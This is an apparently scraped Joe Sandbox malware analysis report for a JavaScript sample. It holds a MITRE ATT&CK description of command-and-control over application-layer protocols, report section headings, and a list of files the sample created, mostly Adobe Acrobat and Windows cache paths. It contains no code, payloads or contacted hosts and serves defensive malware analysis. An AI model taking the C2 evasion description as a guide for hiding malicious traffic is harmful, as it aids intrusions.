Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 434027412290322097.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a619564b-a2b4-43ce-a852-c44e49f5c7c2.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.4352

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
434027412290322097.js